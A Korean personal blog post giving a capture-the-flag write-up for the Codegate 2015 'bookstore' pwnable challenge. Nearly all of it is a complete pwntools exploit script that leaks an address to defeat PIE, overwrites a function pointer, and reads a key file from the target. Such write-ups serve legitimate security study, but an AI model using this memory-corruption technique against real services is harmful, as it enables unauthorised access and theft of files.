cdor1's lab
Codegate 2015 bookstore 본문
후기 : PIE, SSP, NX모두 걸린 바이너리에서의 익스플로잇을 성공했다!
되게 신기한 방식으로 취약점이 터져서 정말 참신했던 문제같다.
재밌게 풀었는데 vi bookstoreex.py 해야되는거 rm 했다. ㅎㅎ
시간 나면 다시 짜서 올려야지 하아 (복구 완료!)
Tip!
rm으로 지운 파일을 debugfs라는 프로그램을 이용해서 복구할수 있지만 ext4파일시스템에서는 잘 통하지 않는다.
ext4파일시스템에서는 extundelete를 사용하도록 하자.
(http://sourceforge.net/projects/extundelete/files/extundelete-0.2.4.tar.bz2)
from pwn import *
s = remote('localhost',4000)
print s.recvuntil(':')
s.sendline('helloadmin')
print s.recvuntil(':')
s.sendline('iulover!@#$')
print s.recvuntil('>')
s.sendline('1')
print s.recvuntil('\n')
s.sendline('cdor1')
print s.recvuntil('\n')
s.sendline('cdor1')
print s.recvuntil('\n')
s.sendline('0')
print s.recvuntil('>')
s.sendline('2')
print s.recvuntil(':')
s.sendline('0')
print s.recvuntil('0. Back to main menu!\n')
s.sendline('3')
print s.recvuntil('\n')
s.sendline('1094795585')
print s.recvuntil('\n')
s.sendline('1094795585')
print s.recvuntil('\n')
s.sendline('0')
print s.recvuntil('\n')
s.sendline('1')
print s.recvuntil('\n')
s.sendline('A'*20)
print s.recvuntil('\n')
s.sendline('B'*300)
print s.recvuntil('0. Back to main menu!\n')
s.sendline('0')
print s.recvuntil('>')
s.sendline('4')
recv = s.recvuntil('>')
print recv
leaked_des = u32(recv[144:148])
base = leaked_des - 0x9ad
fread_func = base + 0x8db
print '[*] leaked_des : ' + hex(leaked_des)
print '[*] base : ' + hex(base)
print '[*] fread_func : ' + hex(fread_func)
s.sendline('2')
print s.recvuntil(':')
s.sendline('0')
print s.recvuntil('0. Back to main menu!\n')
s.sendline('2')
print s.recvuntil('\n')
s.sendline(p32(fread_func)*750)
print s.recvuntil('0. Back to main menu!\n')
s.sendline('3')
print s.recvuntil('\n')
s.sendline('1094795585')
print s.recvuntil('\n')
s.sendline('1094795585')
print s.recvuntil('\n')
s.sendline('0')
print s.recvuntil('\n')
s.sendline('0')
print s.recvuntil('\n')
s.sendline('/home/cdor1/key\x00')
print s.recvuntil('\n')
s.sendline('C'*300)
print s.recvuntil('0. Back to main menu!\n')
s.sendline('2')
print s.recvuntil('\n')
s.sendline('0')
print s.recvuntil('0. Back to main menu!\n')
s.sendline('4')
print s.recvuntil('\n')
s.sendline('1')
print s.recvuntil('0. Back to main menu!\n')
s.sendline('0')
print s.recvuntil('>')
s.sendline('3')
print s.recvuntil(':')
s.sendline('0')
print s.recvuntil('>')
'Security > Pwnable' 카테고리의 다른 글
ARM architecture (0) | 2016.09.26 |
---|---|
pwnable.kr unexploitable (0) | 2016.09.24 |
Defcon23 Quals r0pbaby (0) | 2016.09.19 |
codegate 2015 yocto (0) | 2016.09.15 |
Codegate 2014 Quals minibomb (0) | 2016.09.11 |
Comments